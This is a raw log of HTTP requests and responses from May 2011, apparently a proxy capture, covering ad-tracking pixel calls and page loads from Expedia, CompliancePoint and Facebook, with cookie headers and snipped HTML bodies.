Set-Cookie: bkdc=res; expires=Sat, 07-May-2011 22:33:23 GMT; path=/; domain=.bluekai.com
BK-Server: ddb4
Content-Length: 62
Content-Type: image/gif
Connection: keep-alive

GIF89a.............!..NETSCAPE2.0.....!.. ....,...........L..;

GET /site/2948?phint=idswap_partner=bk HTTP/1.1
Host: tags.bluekai.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=9b6b0&phint=ord=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bkp1=; bku=exy99JnggW62duLG; bkou=KJhMRsOQRsq/pupQjp96B2Rp+eEV1p/66E101KjjLzXU9Wj/OQG=; bklc=4dc52bfa; bk=uXtktHA+ZqtVIHOf; bkc=KJh56XXgHaWDOdeFBKwceJojAWvMsWmu/CupXVBkXqqeyAvSMqlsM6SBJnsiJAojIpWNagmhRen0JNQGJE2uaGGBLKvzjIbX5If0DI5fff7F7O46981fy1MY+KVahh1AhyhUgAFlNAkwKh6U0BPUyeCj9VecW+JzgXl83KJ2faxBWsoHswL3VmV/tGbFxJMptkzDmZ6Wnc/jbZh7eUm223TcVOTs8o1aIpfth8e6iIs5xKk+yl0I2idNB8aVr1Nzk+yX/plS/2lR/U6HAqTJsdkBYww2tkFP2J8vC4H7lFvQlFSfRSfUgF/O2pE4KYjF82ZgYKZDRz8g2yV98yKat/7MHXBzg8tCKK50xmKHTIibBB5gCtoow2GPSkhIi6YRbfUwvKIkd5Ld5npHvLlNt7wDldKpyA9QEdrgqWKKoBL152WIrkttJmN4kcb5kV83AmjI+YtSpT2URuEylhIfghFY2F2V+/dKF2KFAeLIvdAIn1lfTMq7+uF/txmaM1+JyIkIhpfb4o5fW/bFuRIZomt8rLbfYXFprEIlrEd+wtbDXzQ=; bko=KJ0qh1q9XWFf3YXwyhNKOGSuZGmIE903zJRLcyweM5Dc4JDRJvWLxRRyxxRssd82FGy1BAYVvjMkpx+C1EWAxk71eaP9cuKUf9evsg1p1myeLyeSHO72; bkst=KJh5Ae2n9pWRCp1DOcrNQb1QeZ80An2FW7OGgV5PvvVK5kuS/fzDt3cz7EMfYR3Er0iir9QbivvGLTr4yzcaEU9050faEmclwMdKJ0ZCrt7ApFco4SrWc+h2YiVedZYReVgjLTLKUqu//Z/JyXEbgW5i76z2bVLkLHXe90BiQiN9GIY4d7CZ3xOr4SZ1XUkLCVXy9P2qR8PPZ9BZTT2nhf2BgCEPlmnnHqm/ux0QvKBuW1WW1valFPLlgoR7sL+aGNDrsohGHEkxuqA9uuiGVMWI7spXnntTb1CaY6ClmFFH5kLAbluMJN4bwstsBBuxhmlZvah+4124mdqWLUmGDxdYGBU+TYeJ+GJBmDgtyBEEDqxtfO5KauIU0JzpOjCGu3P01AuBw0dzKnbYA/K0+MPjdReFoBlDmXFklir8ixxxH7YOYUVdiqcHzDH9sV86aWmAUtIrccLIXIdoFdRcz81=; bkw5=KJhgDsHQRmY3jK9YDA/1XHG1e/y17aycoM1yLsACj/xjcrAMjwbOjuGj4QWoPGRWBTE1akt/eWQwaX1N/TE1vuxjqGSdue/KCiYjSGRExW3xTqRoxZRqAmlsVzkyQH6AjZzJ/Mw8ozDjsax+sOizmvLjNJQRsaQRXgN91+mRwyOPXaQOMVs9Z1ReRQJkdFw/Je90SYnJz1akoBxjsqEO1iPQsDSGeY4F5OBsO76AsuRDZDvxeB9aUhCORHOrMlYOk0lYcZTDKtfq/DhMHMcBeS0dsi3sg1z5namY/LwsVpmUASc5QRWCESvS/xDL2L/OTGv7xOKQ0ghWAMayQLxY09VzespminYm9zRi9tXkyy+ZAWdUr6cYZ3ZuQVWFAQypyt/AZVXK0vS5X6YRJr9BX7y5mJhasajT/Vx90ZoUfQ==; bkdc=res

HTTP/1.0 200 OK
Date: Sat, 07 May 2011 11:25:06 GMT
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Expires: Sun, 08 May 2011 11:25:06 GMT
Cache-Control: max-age=86400, private
Set-Cookie: bk=xodlbCA+ZqtVIHOf; expires=Thu, 03-Nov-2011 11:25:06 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJh56XLgCsWDOFe7BK10nG66DGCieW7vC1nsjVUhVxTnYtAt27JgN9iJaEPH0+okiLPLnJi1I9XLkJJgnOxqRLD8cbdFmI2iagXbpl7wpeZpD9OXwiiDBJNqYL9YIukUKG9IqQ2fcH479TBgxw4AZKVahXmms185ksTJuc1dfx08TOEG/lBd5ZHYZrrNmEd62hTfUQCDPuF64ZuLqcEjML8YZwwSohxbv9zLzCRY+FzBzfltrQKRbxEsRh7fw4jqCduMTqPtbPUeladfZIqgE0CzJAdIUEAil51LUPTF4H0uFQQSIVD/XdFSvfE4B2odTMN+KPO3I2DyNtF7IROgtZX6ZqqpfnAJbqCCpZrcdze2MDJApds+RSfUE+vID0ZQRz5hNb/6Nt+Ua5a2NYADrFyuQMeUSh2HlAFl+f7+KvksZrrNhtiIplraB7ISfk4je+NJNhoroc+6mt+Sm72vI7kDr3J1Zr4H+ZQdUNbaqFdF4mhyWTE+d2r444E2BNGPDgrcdfTmuFm2r1N8fHp0dojY6rVRTDugRhd24izqW/fmud4WoKt2rFo5OVPd7L2+7AdfOyj5d16=; expires=Thu, 03-Nov-2011 11:25:06 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkst=KJh5DeNny69RF3WQtBuYMAJhzeHy7Id5QRmNh3oxuGNtPcgCLCESGuxHjl2OzU/UHHxUxx5HacPtXEzTrni8KGknXSSc8Tw7KSIWf3KHK057eb6uK7HTYiVedZYRePS0a6z2mVGHHzxuCG7NVRdWwG2b6+5vRMXsOAqWOar9HraddF1puyPyb6+kM12Mvl0eY4MSs3rLyCyysl2Km4dfjvVG8irIcEVcZ1x9ZM/rOHa19OBbpf+pzgDXAPQrW3N0AKOWvX3OuLGauWJOgHE0DEAdzUqoNKaMChKxf7xmGottueqGjAIr277SesZG/R7qpPsTNFiolEMF34wmG6R2Y/BV+TmeJBLm+rxGtx5EE64HIgO4evoTKUFK0CHQGiZP036QSFhNbKHSOuWwjVNgLFGCl6tf3UKKgd3G8WLAQeYYY60GI6S1MRTM9LoyGb1R/FNtKItXapwdqFTaniJFkx==; expires=Thu, 03-Nov-2011 11:25:06 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkdc=res; expires=Sun, 08-May-2011 11:25:06 GMT; path=/; domain=.bluekai.com
BK-Server: d08b
Content-Length: 62
Content-Type: image/gif
Connection: keep-alive

GIF89a.............!..NETSCAPE2.0.....!.. ....,...........L..;

GET /m/?id=411330&pc=0&p=home&gr=home&tr=home&trid=1304730939&ord=&cs=UTF-8&s=1&cpu=&rf=bookmark&frl=0&hr=http%3A//www.lbmctech.com/&je=y&ce=y&sl=&bl=&ul=&nl=en-US&shw=1200*1920&scd=16&tz=-5&pg=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&rndm=0.2219536614138633 HTTP/1.1
Host: track.websiteceo.com
Proxy-Connection: keep-alive
Referer: http://www.lbmctech.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:32:23 GMT
Server: Apache/1.3.39 (Unix) mod_perl/1.30
P3P: policyref="/w3c/p3p.xml", CP="policyref="/w3c/p3p.xml", CP="NOI DSP COR CUR OUR STP""
Set-Cookie: hitlens=visitor&vasya-1304731943-7162; domain=websiteceo.com; path=/; expires=Mon, 06-May-2013 01:32:23 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: image/gif
Content-Length: 67

GIF89a...................!..ADOBE:IR1.0....!.......,...........T..;

GET /pixel?key=segment&pixelID=57148&partner_uid=&partnerID=115 HTTP/1.1
Host: va.px.invitemedia.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh41.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=8218888f-9a83-4760-bd14-33b4666730c0; exchange_uid=eyIyIjogWyIyNzI0Mzg2MDE5MjI3ODQ2MjE4IiwgNzM0MjQ1XSwgIjQiOiBbIkNBRVNFQ0NyZjVYQkMyTExTQ3BjRWRBVjNzVSIsIDczNDI0NF19; dp_rec="{\"1\": 1304340350+ \"3\": 1304301926+ \"2\": 1304243633+ \"5\": 1304340362+ \"4\": 1304340367}"; partnerUID="eyIzOCI6ICJ1JTNENzUyNzY5MjA0NyUzQXMxJTNEMTMwMzEyMjI5NTgxNSUzQXRzJTNEMTMwNDI4MDI3NzY0NiUzQXMyLjMzJTNEJTJDMjc0MCUyQyIsICIxOTkiOiBbIkJERkJGRkMyMzFBMjgyRDZFMjQ0NUI4RTRERTRBMkUwIiwgdHJ1ZV0sICI0OCI6IFsiNjIxMDk0NzA0Nzc4NjMwMDI2ODI4MzM4NDI2NDg1NDcxMjI4NzAiLCB0cnVlXSwgIjE5NSI6IFsiMGNiYzVmNWMtZTNlYi1lMTJkLTJjMDYtZWQ3YzQwYjE5ZTkwIiwgdHJ1ZV0sICIxOTEiOiBbIjM3MDY2OTIzNDc1MTUzNTYzNTkiLCB0cnVlXSwgIjc5IjogWyIxNzU0YmI2NTA2MjNjNWJlNDNmY2EwYjU3YzM5MTBkOSIsIHRydWVdLCAiODQiOiBbIlE0emd2bldzOTk5clRTaEIiLCB0cnVlXX0="; subID="{}"; impressions="{\"591275\": [1304301926+ \"Tb4RXwAHNm8K5ovHrlhLbw==\"+ 62899+ 25126+ 2261]+ \"578963\": [1303562003+ \"28aaa692-ea2e-30b9-be12-340089999af0\"+ 3241+ 40652+ 138]+ \"591270\": [1304243633+ \"Tb0trgAIvYcK5XcWpVIMAw==\"+ 62896+ 25126+ 11582]+ \"610342\": [1304340532+ \"e4261c72-f3c7-37cd-b374-fe89df8a4a7b\"+ 12203+ 58117+ 4038]+ \"593710\": [1304340527+ \"3fd8060e-86f9-3d78-848d-3cf86700b5f3\"+ 8863+ 40494+ 4038]+ \"405594\": [1303072666+ \"2eefac09-883b-3f77-a8a9-19e6aac05dc5\"+ 22487+ 106641+ 227]+ \"619680\": [1304542089+ \"3899594795659691748\"+ 4456+ 6017+ 11823]+ \"610341\": [1304340492+ \"7a7364c6-4495-3fd9-9cd1-35e19873ff86\"+ 12208+ 58117+ 4038]}"; camp_freq_p1=eJzjkuFYeZZVgFGi83vbOxYFRo2Tz9vfsRgwWoD5XCIc9w6wCjBJbLnw6y2LAoMGgwGDBQNQ9MpnFqCe9Wiir4CiTBLPFv1AEV0xH2T+5L7TKKI77zMDRWfNX4sQBQBNEijP; io_freq_p1="eJzjEua4GiHAKNH5ve0diwGjBZjmEuZY7yrAJLHlwq+3LAoMGgwGDBYMQMHjgQLMEuvRBLeFArVP7juNIrjXBSg4a/5ahCAAdLEcdQ=="; segments_p1=eJzjYuZYEMzFzHE0h4uF48QTJiB5sJsRSE56ygQUbowAEudygMRpkILjYAU7djECBf6FA5l734OY042BzDk/QHLvDjADyc4OEDn3B8iIiSpA5ovdzFxcHDv3MQscOrjsHQsXEwcHUGpjMVDqyQWQdSfBut/uBum78B3EPnQERM4Eizf/B5n0jwPIbAIz9/sBmRf3guRe7gORa/czAgDZyTWv

HTTP/1.1 302 Found
Date: Sat, 07 May 2011 01:18:38 GMT
Set-Cookie: segments_p1="eJzjYuZYEMzFzHE0h4uF48QTJi4ujj37mAXebdj+jgUocrCbEUhOesoEVNIYASTO5QCJ0yDFO3aBpI4/AUn9Cwcy975nBDKnGwOZc34wAcl3B5iBZGcHM1B4ogqQORcozMTBAbRjJ9COQweXge14sRukYGMxkPnkAsjMt7tB+k6CzbjwHUQeOgIiZ4JFmv+DbeQAMpvAzP1+QObFvSC5tftB+l/uYwIAqJw6nw==";Version=1;Path=/;Domain=invitemedia.com;Expires=Sun, 06-May-2012 01:18:38 GMT;Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Cache-Control: no-cache
Location: http://ad.yieldmanager.com/pixel?id=1268516&t=2
Content-Length: 0
Connection: close
Server: Jetty(7.3.1.v20110307)

GET /collect/?pid=394&url=http%3A%2F%2Fwww.scmagazineus.com%2Fsubscribe%2Fsection%2F122%2F&pageUrl=http%3A%2F%2Fwww.scmagazineus.com%2Fsubscribe%2Fsection%2F122%2F&time=1304749860650 HTTP/1.1
Host: www.bizographics.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BizoID=55f5fe79-12b4-4f78-9976-61924d438e85; BizoData=iiFz5fMs2QShjkhZT8LeYctQb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KQKFq4fisNXg8aj5XcunNcMDa7Re6IGD4lNgBKuNuTpUhAd6xyMUDLG5lQJdhrgBMSAvGD45Q9a4FEBqbD2j4hAiiCmzSiiJQK8lykQMu396nckTo4nxwoHo0CoRZSiif2tsuiicEnxS3cJipCVZ8TsalisgS9TXOCwHZXFvbNlR3nLMBjvzv7isqEZGsyCMaXAZCYEXjdJRFsRyXovJP46iixMTIzLpWr1XIQIIGVTD2hEugu6d5BiitkUr3XlA8XK8qisqrmVaGZFS5a7fwuH7sQ46xipWO7p50vbcvMQEdM8EL3R4f4J5Ufxc35xQDd3qfFvtjSMcZon9yt55w3TOIwQ0TyFv2zEoDD2QOGIoPgD4Dq0eDBT5IhXJA5LH3s1gXpy8bjFCh02EPiiJWd8pSf2DhmMwRPaHcohp8zdUc1WUMZoWWHG9a09m7kipeK2wjn3eQsLh6cdwnjLty94KHGS82BSc6FNV4ie; BizoNetworkPartnerIndex=11

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Language: en-US
Content-Type: text/javascript;charset=UTF-8
Date: Sat, 07 May 2011 01:50:38 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Set-Cookie: BizoID=55f5fe79-12b4-4f78-9976-61924d438e85; Domain=.bizographics.com; Expires=Sat, 05-Nov-2011 13:50:38 GMT; Path=/
Set-Cookie: BizoData=LD8Lqa0kruispSaV6t7UwYtQb1MaQBj6W9sWr87GbT1F2VrCIGNp5RVO9z4XipLmXyvHipHCqwrNYQisnPXWDFClGJ94jaV36dZRvdH39nGZ6tNcii8xtm6s0HisR0f148m02M66BUXiip7ft9cii8xtm6s0HwdXOwip1B1nCe8JGn3rPyXs2c5lEROZWfhbXWlHDeTJtquuHipMoh9RTR6U8NLisaC7ORPZ6qGWYkQZMkXjY8SZILisX2addMa3SpIqgipisdqQYmp4iiY59yUYL1VlnkdUIIh0FExkNK7HUtFQY8D8EoTSfZVlnkdUIIh0AYrZFK915QPQY8D8EoTSfbG63WARr9y0IvMxx19o1g1o7nMpzq3kfdD2SUwv3QakrzTEr2vlOkJ4D6pmkisCMqcAzum6zEgp6XGo5ipCCle7RZIUyeD671isAw4MKsiiCZYss3U7rEuRSisSXisM3wdRWhA3dsnRGwuisv9sgNCHPPoPZ5qdIs74mBmkdyw5x4tgvvEAmKNipOjaZe4TYQipIlZ3ylJisYOGYzBE9ofsiim5vOPNb106OGBImB2putC69uElEwF27JCOiioj1KhR9a9kO3kWhZdisavH5YaCJ5rUWjQzHYzuE5F8MIo6TFahipEZiiUfSg1G9jy3KswFnWMODCrIgmWLLCZMvip3ebNkazzC5XAau0nMODCrIgmWLJd5PYHQOnIlphDis4W2NxC5ii8wm47VZdipzGjg3vXDjpIoXTCip3pWZHdDgudjw9mFhqjE5cmLaumWvPisuMBdYGnNjFKkiifXjBxrDCe4W2moTMN4isdjziiaqnDJGFm85Jnii6bdsnRGwuisv9t6LhwMcOtHAUjz4EQIlrt9cii8xtm6s0HwdXOwip1B1nCe8JGn3rPyXs2c5lEROZWfhbXWlHDeTJtFNsVrcrw312KlSryiiippLvHRWwTxBUSFRuufykhwWSlghzjIvVLoBhj5NDTHr2wr1kiiqD792pBiiZisWoLipipOUKipVtMipadorvipIWA5B16a2n9ccq0ipUPxAAhwBFhw9bW02NQdnXDrRufkxSPPgRAiiWu31yLzG2bqzQfB1c7D7UHWcJ7wkafesisJezZzmURE5lZipFtdaUcN5Mm0U2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTBCmcQve7W9mKliiSobRLLWb5OrVGMiprsJQvfINu2DxP8owJ5xoQhXZNp7hVJoVB1TGlJZ8zWJiiJArqYAAFGAQj0dI1pxbY6k4tmEPishbY3ELmLzCbjtVl37F6KeOOIHvpt; Domain=.bizographics.com; Expires=Sat, 05-Nov-2011 13:50:38 GMT; Path=/
Set-Cookie: BizoNetworkPartnerIndex=15; Domain=.bizographics.com; Expires=Wed, 01-Jun-2011 00:00:00 GMT; Path=/
Content-Length: 649
Connection: keep-alive

_bizo_set_session_cookie("_bizo_bzid","55f5fe79-12b4-4f78-9976-61924d438e85",1);_bizo_fire_rm("E6D","T8P","H3I","D8N","Q3K","C9Q");_bizo_set_session_cookie("_bizo_cksm","46E4889E3A878800",1);_bizo_fir
...[SNIP]...

GET /sub_serv_isc_pci.asp?gclid=CJu4wszV1KgCFQ075QodRCyFgQ HTTP/1.1
Host: www.compliancepoint.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 07 May 2011 01:16:34 GMT
X-Powered-By: ASP.NET
Set-Cookie: SITESERVER=ID=e72934c3e090fe010326c542496bd26f; expires=Monday, 01-Jan-2035 00:00:00 GMT; path=/; domain=.compliancepoint.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Length: 17114
Content-Type: text/html
Set-Cookie: ASPSESSIONIDCADDBQTC=NKAKGEBDADCKPECBKIOIPJEM; path=/
Cache-control: private

<html>
<head>
<title>CompliancePoint</title>

<link href="menu.css" type=text/css rel=stylesheet />
<link href="style.css" type=text/css rel=stylesheet />
<script src="main.js"></script>
<scrip
...[SNIP]...

GET /default.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 69466
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:33:31 GMT
Connection: close
Set-Cookie: ipsnf3=v.3|US|1|511|washington; expires=Sun, 6-May-2012 00:00:01 GMT; path=/; domain=.expedia.com;
Set-Cookie: MC1=GUID=6EAD9261B09A4968ABBC2BAA8521F2DD; expires=Fri, 06-May-2016 07:00:00 GMT; domain=.expedia.com; path=/
Set-Cookie: COOKIECHECK=1; domain=.expedia.com; path=/
Content-Length: 69466

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<COMMENT TITLE="MO
...[SNIP]...

GET /pub/agent.dll?qscr=info HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:35:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01235ACD77$E5$B5201000D$27$E96!G0.!5010$2302!50$ED$A3$27$0C7$85$FE$36!4$FF!e02000`95; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01F1458A8B$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ek$16$E4$24p$5B$39$89$91H`104; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 43196

<META HTTP-EQUIV="Content-Type" content="text/html; c
...[SNIP]...

GET /pub/agent.dll?qscr=fbak&&zz=1247500409281&&zz=1304739644741 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=fbak&&zz=1247500409281
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DFAQ%25252520Support%2525253ASearch%25252520Results%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/pub/agent.dll%2525253Fqscr%2525253Dfbak%25252526%25252526zz%2525253D1247500409281%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`user=v.8,0,EX01CC562A07$F4$B5203000g$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50K$A9$11$90$F1$8C$A5$D1$82$AB$89$FB!e02000`133

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:40:52 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX0183E3F010$F4$B5204000k$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$83$A7rJ$D3$B5$CD3$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`airp=v.1,AUS`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 155628

<META HTTP-EQUIV="Content-Type" content="text/html; c
...[SNIP]...

GET /SocialFollow HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo2; lsd=dh9j6; reg_ext_ref=http%3A%2F%2Fwww.socialfollow.com%2F; reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2FSocialFollow; reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmedia%2Fset%2F%3Fset%3Dpa.82321587255; wd=1066x968

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.52.199.49
X-Cnection: close
Date: Fri, 06 May 2011 17:41:49 GMT
Content-Length: 33424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schem
...[SNIP]...

